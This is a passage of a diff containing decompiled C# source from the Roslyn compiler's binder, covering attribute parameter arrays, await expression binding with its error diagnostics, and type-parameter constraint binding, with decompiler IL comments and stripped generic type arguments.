diagnostics.Add(ErrorCode.ERR_BadAttributeArgument, ((SyntaxNode)syntax).Location); + hasErrors = true; + } + } + array[num] = val; + } + if (expanded && (int)((TypedConstant)(ref array[^1])).Kind == 0) + { + ParameterSymbol parameterSymbol2 = parameters[parameters.Length - 1]; + array[^1] = new TypedConstant((ITypeSymbolInternal)(object)parameterSymbol2.Type, ImmutableArray.Empty); + } + return ImmutableArrayExtensions.AsImmutable(array); + } + + private static TypedConstant GetParamArrayArgument(ParameterSymbol parameter, ImmutableArray constructorArgsArray, ImmutableArray constructorArgumentNamesOpt, int argumentsCount, int currentArgumentIndex, Conversions conversions, out int endOfParamsArrayIndex) + { + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_0042: Unknown result type (might be due to invalid IL or missing references) + //IL_002c: Unknown result type (might be due to invalid IL or missing references) + //IL_0080: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_00c4: Unknown result type (might be due to invalid IL or missing references) + if (!constructorArgumentNamesOpt.IsDefault && constructorArgumentNamesOpt.Contains(parameter.Name)) + { + endOfParamsArrayIndex = currentArgumentIndex; + if (TryGetNormalParamValue(parameter, constructorArgsArray, currentArgumentIndex, conversions, out var result)) + { + return result; + } + return new TypedConstant((ITypeSymbolInternal)(object)parameter.Type, ImmutableArray.Create(constructorArgsArray[currentArgumentIndex])); + } + int num = argumentsCount - currentArgumentIndex; + switch (num) + { + case 0: + endOfParamsArrayIndex = argumentsCount - 1; + return new TypedConstant((ITypeSymbolInternal)(object)parameter.Type, ImmutableArray.Empty); + case 1: + { + if (TryGetNormalParamValue(parameter, constructorArgsArray, currentArgumentIndex, conversions, out var result2)) + { + endOfParamsArrayIndex = argumentsCount - 1; + return result2; + } + break; + } + } + TypedConstant[] array = (TypedConstant[])(object)new TypedConstant[num]; + for (int i = 0; i < num; i++) + { + array[i] = constructorArgsArray[currentArgumentIndex++]; + } + endOfParamsArrayIndex = currentArgumentIndex + num - 1; + return new TypedConstant((ITypeSymbolInternal)(object)parameter.Type, ImmutableArrayExtensions.AsImmutableOrNull(array)); + } + + private static bool TryGetNormalParamValue(ParameterSymbol parameter, ImmutableArray constructorArgsArray, int argIndex, Conversions conversions, out TypedConstant result) + { + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Invalid comparison between Unknown and I4 + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + //IL_005f: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + TypedConstant val = constructorArgsArray[argIndex]; + if ((int)((TypedConstant)(ref val)).Kind != 4) + { + result = default(TypedConstant); + return false; + } + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + Conversion conversion = conversions.ClassifyBuiltInConversion((TypeSymbol)(object)((TypedConstant)(ref val)).TypeInternal, parameter.Type, isChecked: false, ref useSiteInfo); + if (conversion.IsValid && (conversion.Kind == ConversionKind.ImplicitReference || conversion.Kind == ConversionKind.Identity)) + { + result = val; + return true; + } + result = default(TypedConstant); + return false; + } + + private BoundExpression BindAwait(AwaitExpressionSyntax node, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + MessageID.IDS_FeatureAsync.CheckFeatureAvailability(diagnostics, node.AwaitKeyword); + BoundExpression expression = BindRValueWithoutTargetType(node.Expression, diagnostics); + return BindAwait(expression, (SyntaxNode)(object)node, diagnostics); + } + + private BoundAwaitExpression BindAwait(BoundExpression expression, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + bool hasErrors = false; + BoundAwaitableValuePlaceholder placeholder = new BoundAwaitableValuePlaceholder(expression.Syntax, expression.Type); + ReportBadAwaitDiagnostics(SyntaxNodeOrToken.op_Implicit(node), diagnostics, ref hasErrors); + BoundAwaitableInfo boundAwaitableInfo = BindAwaitInfo(placeholder, node, diagnostics, ref hasErrors, expression); + TypeSymbol type = boundAwaitableInfo.GetResult?.ReturnType ?? (hasErrors ? CreateErrorType() : Compilation.DynamicType); + return new BoundAwaitExpression(node, expression, boundAwaitableInfo, default(BoundAwaitExpressionDebugInfo), type, hasErrors); + } + + internal void ReportBadAwaitDiagnostics(SyntaxNodeOrToken nodeOrToken, BindingDiagnosticBag diagnostics, ref bool hasErrors) + { + //IL_0004: Unknown result type (might be due to invalid IL or missing references) + //IL_0011: Unknown result type (might be due to invalid IL or missing references) + hasErrors |= ReportBadAwaitWithoutAsync(nodeOrToken, diagnostics); + hasErrors |= ReportBadAwaitContext(nodeOrToken, diagnostics); + } + + internal BoundAwaitableInfo BindAwaitInfo(BoundAwaitableValuePlaceholder placeholder, SyntaxNode node, BindingDiagnosticBag diagnostics, ref bool hasErrors, BoundExpression? expressionOpt = null) + { + bool isDynamic; + BoundExpression getAwaiter; + PropertySymbol isCompleted; + MethodSymbol getResult; + BoundExpression getAwaiterGetResultCall; + bool flag = !GetAwaitableExpressionInfo(expressionOpt ?? placeholder, placeholder, out isDynamic, out getAwaiter, out isCompleted, out getResult, out getAwaiterGetResultCall, node, diagnostics); + hasErrors |= flag; + return new BoundAwaitableInfo(node, placeholder, isDynamic, getAwaiter, isCompleted, getResult, flag) + { + WasCompilerGenerated = true + }; + } + + private bool CouldBeAwaited(BoundExpression expression) + { + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + if (expression.Kind != BoundKind.Call || expression.HasAnyErrors) + { + return false; + } + TypeSymbol type = expression.Type; + if ((object)type == null || type.IsDynamic() || type.IsVoidType()) + { + return false; + } + BoundCall boundCall = (BoundCall)expression; + if ((object)boundCall.Method != null && boundCall.Method.IsAsync) + { + return true; + } + if (ImplementsWinRTAsyncInterface(boundCall.Type)) + { + return true; + } + if (!(ContainingMemberOrLambda is MethodSymbol methodSymbol) || (!methodSymbol.IsAsync && !(methodSymbol is SynthesizedSimpleProgramEntryPointSymbol))) + { + return false; + } + if (ContextForbidsAwait) + { + return false; + } + SyntaxNode syntax = expression.Syntax; + if (ReportBadAwaitContext(SyntaxNodeOrToken.op_Implicit(syntax), BindingDiagnosticBag.Discarded)) + { + return false; + } + BoundExpression getAwaiterGetResultCall; + return GetAwaitableExpressionInfo(expression, out getAwaiterGetResultCall, syntax, BindingDiagnosticBag.Discarded); + } + + private bool ReportBadAwaitWithoutAsync(SyntaxNodeOrToken nodeOrToken, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0016: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Invalid comparison between Unknown and I4 + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Invalid comparison between Unknown and I4 + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo val = null; + Symbol containingMemberOrLambda = ContainingMemberOrLambda; + if ((object)containingMemberOrLambda != null) + { + SymbolKind kind = containingMemberOrLambda.Kind; + if ((int)kind != 6) + { + if ((int)kind == 9) + { + MethodSymbol methodSymbol = (MethodSymbol)containingMemberOrLambda; + if (methodSymbol.IsAsync) + { + return false; + } + val = (DiagnosticInfo)(object)(((int)methodSymbol.MethodKind != 0) ? (methodSymbol.ReturnsVoid ? new CSDiagnosticInfo(ErrorCode.ERR_BadAwaitWithoutVoidAsyncMethod) : new CSDiagnosticInfo(ErrorCode.ERR_BadAwaitWithoutAsyncMethod, methodSymbol.ReturnType)) : (methodSymbol.IsImplicitlyDeclared ? new CSDiagnosticInfo(ErrorCode.ERR_BadAwaitInQuery) : new CSDiagnosticInfo(ErrorCode.ERR_BadAwaitWithoutAsyncLambda, ((LambdaSymbol)methodSymbol).MessageID.Localize()))); + } + } + else if (containingMemberOrLambda.ContainingType.IsScriptClass) + { + if (!((FieldSymbol)containingMemberOrLambda).IsStatic) + { + return false; + } + val = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadAwaitInStaticVariableInitializer); + } + } + if (val == null) + { + val = (DiagnosticInfo)(object)new CSDiagnosticInfo(ErrorCode.ERR_BadAwaitWithoutAsync); + } + Error(diagnostics, val, ((SyntaxNodeOrToken)(ref nodeOrToken)).GetLocation()); + return true; + } + + private bool ReportBadAwaitContext(SyntaxNodeOrToken nodeOrToken, BindingDiagnosticBag diagnostics) + { + if (InUnsafeRegion && !Flags.Includes(BinderFlags.AllowAwaitInUnsafeContext)) + { + Error(diagnostics, ErrorCode.ERR_AwaitInUnsafeContext, ((SyntaxNodeOrToken)(ref nodeOrToken)).GetLocation()); + return true; + } + if (Flags.Includes(BinderFlags.InLockBody)) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitInLock, ((SyntaxNodeOrToken)(ref nodeOrToken)).GetLocation()); + return true; + } + if (Flags.Includes(BinderFlags.InCatchFilter)) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitInCatchFilter, ((SyntaxNodeOrToken)(ref nodeOrToken)).GetLocation()); + return true; + } + if (Flags.Includes(BinderFlags.InFinallyBlock)) + { + CSharpSyntaxTree obj = ((SyntaxNodeOrToken)(ref nodeOrToken)).SyntaxTree as CSharpSyntaxTree; + if (obj != null && obj.Options?.IsFeatureEnabled(MessageID.IDS_AwaitInCatchAndFinally) == false) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitInFinally, ((SyntaxNodeOrToken)(ref nodeOrToken)).GetLocation()); + return true; + } + } + if (Flags.Includes(BinderFlags.InCatchBlock)) + { + CSharpSyntaxTree obj2 = ((SyntaxNodeOrToken)(ref nodeOrToken)).SyntaxTree as CSharpSyntaxTree; + if (obj2 != null && obj2.Options?.IsFeatureEnabled(MessageID.IDS_AwaitInCatchAndFinally) == false) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitInCatch, ((SyntaxNodeOrToken)(ref nodeOrToken)).GetLocation()); + return true; + } + } + return false; + } + + internal bool GetAwaitableExpressionInfo(BoundExpression expression, out BoundExpression? getAwaiterGetResultCall, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + bool isDynamic; + BoundExpression getAwaiter; + PropertySymbol isCompleted; + MethodSymbol getResult; + return GetAwaitableExpressionInfo(expression, expression, out isDynamic, out getAwaiter, out isCompleted, out getResult, out getAwaiterGetResultCall, node, diagnostics); + } + + private bool GetAwaitableExpressionInfo(BoundExpression expression, BoundExpression getAwaiterArgument, out bool isDynamic, out BoundExpression? getAwaiter, out PropertySymbol? isCompleted, out MethodSymbol? getResult, out BoundExpression? getAwaiterGetResultCall, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + isDynamic = false; + getAwaiter = null; + isCompleted = null; + getResult = null; + getAwaiterGetResultCall = null; + if (!ValidateAwaitedExpression(expression, node, diagnostics)) + { + return false; + } + if (expression.HasDynamicType()) + { + isDynamic = true; + return true; + } + if (!GetGetAwaiterMethod(getAwaiterArgument, node, diagnostics, out getAwaiter)) + { + return false; + } + TypeSymbol type = getAwaiter.Type; + if (GetIsCompletedProperty(type, node, expression.Type, diagnostics, out isCompleted) && AwaiterImplementsINotifyCompletion(type, node, diagnostics)) + { + return GetGetResultMethod(getAwaiter, node, expression.Type, diagnostics, out getResult, out getAwaiterGetResultCall); + } + return false; + } + + private static bool ValidateAwaitedExpression(BoundExpression expression, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + if (expression.HasAnyErrors) + { + return false; + } + if ((object)expression.Type == null) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitArgIntrinsic, SyntaxNodeOrToken.op_Implicit(node), expression.Display); + return false; + } + return true; + } + + private bool GetGetAwaiterMethod(BoundExpression expression, SyntaxNode node, BindingDiagnosticBag diagnostics, [NotNullWhen(true)] out BoundExpression? getAwaiterCall) + { + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_007f: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + if (expression.Type.IsVoidType()) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitArgVoidCall, SyntaxNodeOrToken.op_Implicit(node)); + getAwaiterCall = null; + return false; + } + getAwaiterCall = MakeInvocationExpression(node, expression, "GetAwaiter", ImmutableArray.Empty, diagnostics); + if (getAwaiterCall.HasAnyErrors) + { + getAwaiterCall = null; + return false; + } + if (getAwaiterCall.Kind != BoundKind.Call) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitArg, SyntaxNodeOrToken.op_Implicit(node), expression.Type); + getAwaiterCall = null; + return false; + } + MethodSymbol method = ((BoundCall)getAwaiterCall).Method; + if (method is ErrorMethodSymbol || HasOptionalOrVariableParameters(method) || method.ReturnsVoid) + { + Error(diagnostics, ErrorCode.ERR_BadAwaitArg, SyntaxNodeOrToken.op_Implicit(node), expression.Type); + getAwaiterCall = null; + return false; + } + return true; + } + + private bool GetIsCompletedProperty(TypeSymbol awaiterType, SyntaxNode node, TypeSymbol awaitedExpressionType, BindingDiagnosticBag diagnostics, [NotNullWhen(true)] out PropertySymbol? isCompletedProperty) + { + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_00bd: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Invalid comparison between Unknown and I4 + //IL_0099: Unknown result type (might be due to invalid IL or missing references) + //IL_00cd: Unknown result type (might be due to invalid IL or missing references) + BoundLiteral boundLeft = new BoundLiteral(node, ConstantValue.Null, awaiterType); + string rightName = "IsCompleted"; + BoundExpression boundExpression = BindInstanceMemberAccess(node, node, boundLeft, rightName, 0, default(SeparatedSyntaxList), default(ImmutableArray), invoked: false, indexed: false, diagnostics); + if (boundExpression.HasAnyErrors) + { + isCompletedProperty = null; + return false; + } + if (boundExpression.Kind != BoundKind.PropertyAccess) + { + Error(diagnostics, ErrorCode.ERR_NoSuchMember, SyntaxNodeOrToken.op_Implicit(node), awaiterType, "IsCompleted"); + isCompletedProperty = null; + return false; + } + isCompletedProperty = ((BoundPropertyAccess)boundExpression).PropertySymbol; + if (isCompletedProperty.IsWriteOnly) + { + Error(diagnostics, ErrorCode.ERR_PropertyLacksGet, SyntaxNodeOrToken.op_Implicit(node), isCompletedProperty); + isCompletedProperty = null; + return false; + } + if ((int)isCompletedProperty.Type.SpecialType != 7) + { + Error(diagnostics, ErrorCode.ERR_BadAwaiterPattern, SyntaxNodeOrToken.op_Implicit(node), awaiterType, awaitedExpressionType); + isCompletedProperty = null; + return false; + } + return true; + } + + private bool AwaiterImplementsINotifyCompletion(TypeSymbol awaiterType, SyntaxNode node, BindingDiagnosticBag diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Unknown result type (might be due to invalid IL or missing references) + NamedTypeSymbol wellKnownType = GetWellKnownType((WellKnownType)172, diagnostics, node); + CompoundUseSiteInfo useSiteInfo = GetNewCompoundUseSiteInfo(diagnostics); + if (!Conversions.ClassifyImplicitConversionFromType(awaiterType, wellKnownType, ref useSiteInfo).IsImplicit) + { + ((BindingDiagnosticBag)(object)diagnostics).Add(node, useSiteInfo); + Error(diagnostics, ErrorCode.ERR_DoesntImplementAwaitInterface, SyntaxNodeOrToken.op_Implicit(node), awaiterType, wellKnownType); + return false; + } + return true; + } + + private bool GetGetResultMethod(BoundExpression awaiterExpression, SyntaxNode node, TypeSymbol awaitedExpressionType, BindingDiagnosticBag diagnostics, out MethodSymbol? getResultMethod, [NotNullWhen(true)] out BoundExpression? getAwaiterGetResultCall) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_00aa: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + TypeSymbol type = awaiterExpression.Type; + getAwaiterGetResultCall = MakeInvocationExpression(node, awaiterExpression, "GetResult", ImmutableArray.Empty, diagnostics); + if (getAwaiterGetResultCall.HasAnyErrors) + { + getResultMethod = null; + getAwaiterGetResultCall = null; + return false; + } + if (getAwaiterGetResultCall.Kind != BoundKind.Call) + { + Error(diagnostics, ErrorCode.ERR_NoSuchMember, SyntaxNodeOrToken.op_Implicit(node), type, "GetResult"); + getResultMethod = null; + getAwaiterGetResultCall = null; + return false; + } + getResultMethod = ((BoundCall)getAwaiterGetResultCall).Method; + if (getResultMethod.IsExtensionMethod) + { + Error(diagnostics, ErrorCode.ERR_NoSuchMember, SyntaxNodeOrToken.op_Implicit(node), type, "GetResult"); + getResultMethod = null; + getAwaiterGetResultCall = null; + return false; + } + if (HasOptionalOrVariableParameters(getResultMethod) || getResultMethod.IsConditional) + { + Error(diagnostics, ErrorCode.ERR_BadAwaiterPattern, SyntaxNodeOrToken.op_Implicit(node), type, awaitedExpressionType); + getResultMethod = null; + getAwaiterGetResultCall = null; + return false; + } + return true; + } + + private static bool HasOptionalOrVariableParameters(MethodSymbol method) + { + if (method.ParameterCount != 0) + { + ParameterSymbol parameterSymbol = method.Parameters[method.ParameterCount - 1]; + if (!parameterSymbol.IsOptional) + { + return parameterSymbol.IsParams; + } + return true; + } + return false; + } + + internal ImmutableArray BindTypeParameterConstraintClauses(Symbol containingSymbol, ImmutableArray typeParameters, TypeParameterListSyntax typeParameterList, SyntaxList clauses, BindingDiagnosticBag diagnostics, bool performOnlyCycleSafeValidation, bool isForOverride = false) + { + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_007c: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_009a: Unknown result type (might be due to invalid IL or missing references) + //IL_009f: Unknown result type (might be due to invalid IL or missing references) + //IL_0196: Unknown result type (might be due to invalid IL or missing references) + //IL_019b: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Unknown result type (might be due to invalid IL or missing references) + //IL_0167: Unknown result type (might be due to invalid IL or missing references) + int length = typeParameters.Length; + Dictionary dictionary = new Dictionary(length, (IEqualityComparer?)StringOrdinalComparer.Instance); + ImmutableArray.Enumerator enumerator = typeParameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + string name = enumerator.Current.Name; + if (!dictionary.ContainsKey(name)) + { + dictionary.Add(name, dictionary.Count); + } + } + ArrayBuilder instance = ArrayBuilder.GetInstance(length, (TypeParameterConstraintClause)null); + ArrayBuilder> instance2 = ArrayBuilder>.GetInstance(length, (ArrayBuilder)null); + Enumerator enumerator2 = clauses.GetEnumerator(); + while (enumerator2.MoveNext()) + { + TypeParameterConstraintClauseSyntax current = enumerator2.Current; + SyntaxToken identifier = current.Name.Identifier; + string valueText = ((SyntaxToken)(ref identifier)).ValueText; + if (dictionary.TryGetValue(valueText, out var value)) + { + var (typeParameterConstraintClause, val) = BindTypeParameterConstraints(typeParameterList.Parameters[value], current, isForOverride, diagnostics); + if (instance[value] == null) + { + instance[value] = typeParameterConstraintClause; + instance2[value] = val; + } + else + { + diagnostics.Add(ErrorCode.ERR_DuplicateConstraintClause, ((SyntaxNode)current.Name).Location, valueText); + val?.Free(); + } + } + else + { + diagnostics.Add(ErrorCode.ERR_TyVarNotFoundInConstraint, ((SyntaxNode)current.Name).Location, valueText, containingSymbol.ConstructedFrom()); + } + } + for (int i = 0; i < length; i++) + { + if (instance[i] == null) + { + instance[i] = GetDefaultTypeParameterConstraintClause(typeParameterList.Parameters[i], isForOverride); + } + } + RemoveInvalidConstraints(typeParameters, instance, instance2, performOnlyCycleSafeValidation, diagnostics); + Enumerator> enumerator3 = instance2.GetEnumerator(); + while (enumerator3.MoveNext()) + { + enumerator3.Current?.Free(); + } + instance2.Free(); + return instance.ToImmutableAndFree(); + } + + private (TypeParameterConstraintClause, ArrayBuilder?) BindTypeParameterConstraints(TypeParameterSyntax typeParameterSyntax, TypeParameterConstraintClauseSyntax constraintClauseSyntax, bool isForOverride, BindingDiagnosticBag diagnostics) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + //IL_0090: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_02ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0158: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + //IL_017e: Unknown result type (might be due to invalid IL or missing references) + //IL_0183: Unknown result type (might be due to invalid IL or missing references) + //IL_00ec: Unknown result type (might be due to invalid IL or missing references) + //IL_01a7: Unknown result type (might be due to invalid IL or missing references) + //IL_01ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00ce: Unknown result type (might be due to invalid IL or missing references) + TypeParameterConstraintKind typeParameterConstraintKind = TypeParameterConstraintKind.None; + ArrayBuilder val = null; + ArrayBuilder val2 = null; + SeparatedSyntaxList constraints = constraintClauseSyntax.Constraints; + bool flag = false; + bool reportedOverrideWithConstraints = false; + int i = 0; + for (int count = constraints.Count; i < count; i++) + { + TypeParameterConstraintSyntax typeParameterConstraintSyntax = constraints[i]; + switch (typeParameterConstraintSyntax.Kind()) + { + case SyntaxKind.ClassConstraint: + { + flag = true; + if (i != 0) + { + if (!reportedOverrideWithConstraints) + { + reportTypeConstraintsMustBeUniqueAndFirst(typeParameterConstraintSyntax, diagnostics); + } + if (isForOverride && (typeParameterConstraintKind & (TypeParameterConstraintKind.ReferenceType | TypeParameterConstraintKind.ValueType)) != TypeParameterConstraintKind.None) + { + break; + } + } + ClassOrStructConstraintSyntax classOrStructConstraintSyntax = (ClassOrStructConstraintSyntax)typeParameterConstraintSyntax; + SyntaxToken questionToken = classOrStructConstraintSyntax.QuestionToken; + if (questionToken.IsKind(SyntaxKind.QuestionToken)) + { + typeParameterConstraintKind |= TypeParameterConstraintKind.NullableReferenceType; + if (isForOverride) + { + reportOverrideWithConstraints(ref reportedOverrideWithConstraints, typeParameterConstraintSyntax, diagnostics); + break; + } + DiagnosticBag diagnosticBag = ((BindingDiagnosticBag)diagnostics).DiagnosticBag; + if (diagnosticBag != null) + { + LazyMissingNonNullTypesContextDiagnosticInfo.AddAll(this, questionToken, null, diagnosticBag); + } + } + else + { + typeParameterConstraintKind = ((!isForOverride && !AreNullableAnnotationsEnabled(classOrStructConstraintSyntax.ClassOrStructKeyword)) ? (typeParameterConstraintKind | TypeParameterConstraintKind.ReferenceType) : (typeParameterConstraintKind | TypeParameterConstraintKind.NotNullableReferenceType)); + } + break; + } + case SyntaxKind.StructConstraint: + flag = true; + if (i != 0) + { + if (!reportedOverrideWithConstraints) + { + reportTypeConstraintsMustBeUniqueAndFirst(typeParameterConstraintSyntax, diagnostics); + } + if (isForOverride && (typeParameterConstraintKind & (TypeParameterConstraintKind.ReferenceType | TypeParameterConstraintKind.ValueType)) != TypeParameterConstraintKind.None) + { + break; + } + } + typeParameterConstraintKind |= TypeParameterConstraintKind.ValueType; + break; + case SyntaxKind.ConstructorConstraint: + { + if (isForOverride) + { + reportOverrideWithConstraints(ref reportedOverrideWithConstraints, typeParameterConstraintSyntax, diagnostics); + break; + } + SyntaxToken firstToken; + if ((typeParameterConstraintKind & TypeParameterConstraintKind.ValueType) != TypeParameterConstraintKind.None) + { + firstToken = typeParameterConstraintSyntax.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_NewBoundWithVal, ((SyntaxToken)(ref firstToken)).GetLocation()); + } + if ((typeParameterConstraintKind & TypeParameterConstraintKind.Unmanaged) != TypeParameterConstraintKind.None) + { + firstToken = typeParameterConstraintSyntax.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_NewBoundWithUnmanaged, ((SyntaxToken)(ref firstToken)).GetLocation()); + } + if (i != count - 1) + { + firstToken = typeParameterConstraintSyntax.GetFirstToken(); + diagnostics.Add(ErrorCode.ERR_NewBoundMustBeLast, ((SyntaxToken)(ref firstToken)).GetLocation()); + } + typeParameterConstraintKind |= TypeParameterConstraintKind.Constructor; + break; + } + case SyntaxKind.DefaultConstraint: + CheckFeatureAvailability((SyntaxNode)(object)typeParameterConstraintSyntax, MessageID.IDS_FeatureDefaultTypeParameterConstraint, diagnostics); + if (!isForOverride) + { + diagnostics.Add(ErrorCode.ERR_DefaultConstraintOverrideOnly, typeParameterConstraintSyntax.GetLocation()); + } + if (i != 0) + { + if (!reportedOverrideWithConstraints) + { + reportTypeConstraintsMustBeUniqueAndFirst(typeParameterConstraintSyntax, diagnostics); + } + if (isForOverride && (typeParameterConstraintKind & (TypeParameterConstraintKind.ReferenceType | TypeParameterConstraintKind.ValueType)) != TypeParameterConstraintKind.None) + { + break; + } + } + typeParameterConstraintKind |= TypeParameterConstraintKind.Default; + break; + case SyntaxKind.TypeConstraint: + { + if (isForOverride) + { + reportOverrideWithConstraints(ref reportedOverrideWithConstraints, typeParameterConstraintSyntax, diagnostics); + break; + } + flag = true; + if (val == null) + { + val = ArrayBuilder.GetInstance(); + val2 = ArrayBuilder.GetInstance(); + } + TypeConstraintSyntax typeConstraintSyntax = (TypeConstraintSyntax)typeParameterConstraintSyntax; + TypeSyntax type = typeConstraintSyntax.Type; + ConstraintContextualKeyword keyword; + TypeWithAnnotations typeWithAnnotations = BindTypeOrConstraintKeyword(type, diagnostics, out keyword); + switch (keyword) + { + case ConstraintContextualKeyword.Unmanaged: + if (i != 0) + { + reportTypeConstraintsMustBeUniqueAndFirst(type, diagnostics); + break; + } + GetWellKnownType((WellKnownType)277, diagnostics, (SyntaxNode)(object)type); + GetSpecialType((SpecialType)5, diagnostics, (SyntaxNode)(object)type); + typeParameterConstraintKind |= TypeParameterConstraintKind.Unmanaged; + break; + case ConstraintContextualKeyword.NotNull: + if (i != 0) + { + reportTypeConstraintsMustBeUniqueAndFirst(type, diagnostics); + } + typeParameterConstraintKind |= TypeParameterConstraintKind.NotNull; + break; + default: + throw ExceptionUtilities.UnexpectedValue((object)keyword); + case ConstraintContextualKeyword.None: + val.Add(typeWithAnnotations); + val2.Add(typeConstraintSyntax); + break; + } + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)typeParameterConstraintSyntax.Kind()); + } + } + if (!isForOverride && !flag && !AreNullableAnnotationsEnabled(typeParameterSyntax.Identifier)) + { + typeParameterConstraintKind |= TypeParameterConstraintKind.ObliviousNullabilityIfReferenceType; + } + return (TypeParameterConstraintClause.Create(typeParameterConstraintKind, val?.ToImmutableAndFree() ?? ImmutableArray.Empty), val2); + static void reportOverrideWithConstraints(ref bool reference, TypeParameterConstraintSyntax syntax, BindingDiagnosticBag bindingDiagnosticBag) + { + if (!reference) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_OverrideWithConstraints, syntax.GetLocation()); + reference = true; + } + } + static void reportTypeConstraintsMustBeUniqueAndFirst(CSharpSyntaxNode syntax, BindingDiagnosticBag bindingDiagnosticBag) + { + bindingDiagnosticBag.Add(ErrorCode.ERR_TypeConstraintsMustBeUniqueAndFirst, syntax.GetLocation()); + } + } + + internal ImmutableArray GetDefaultTypeParameterConstraintClauses(TypeParameterListSyntax typeParameterList) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_001d: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(typeParameterList.Parameters.Count); + Enumerator enumerator = typeParameterList.Parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSyntax current = enumerator.Current; + instance.Add(GetDefaultTypeParameterConstraintClause(current)); + } + return instance.ToImmutableAndFree(); + } + + private TypeParameterConstraintClause GetDefaultTypeParameterConstraintClause(TypeParameterSyntax typeParameterSyntax, bool isForOverride = false) + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + if (!isForOverride && !AreNullableAnnotationsEnabled(typeParameterSyntax.Identifier)) + { + return TypeParameterConstraintClause.ObliviousNullabilityIfReferenceType; + } + return TypeParameterConstraintClause.Empty; + } + + private static void RemoveInvalidConstraints(ImmutableArray typeParameters, ArrayBuilder constraintClauses, ArrayBuilder?> syntaxNodes, bool performOnlyCycleSafeValidation, BindingDiagnosticBag diagnostics) + { + int length = typeParameters.Length; + for (int i = 0; i < length; i++) + { + constraintClauses[i] = RemoveInvalidConstraints(typeParameters[i], constraintClauses[i], syntaxNodes[i], performOnlyCycleSafeValidation, diagnostics); + } + } + + private static TypeParameterConstraintClause RemoveInvalidConstraints(TypeParameterSymbol typeParameter, TypeParameterConstraintClause constraintClause, ArrayBuilder? syntaxNodesOpt, bool performOnlyCycleSafeValidation, BindingDiagnosticBag diagnostics) + { + if (syntaxNodesOpt != null) + { + ImmutableArray constraintTypes = constraintClause.ConstraintTypes; + Symbol containingSymbol = typeParameter.ContainingSymbol; + ArrayBuilder instance = 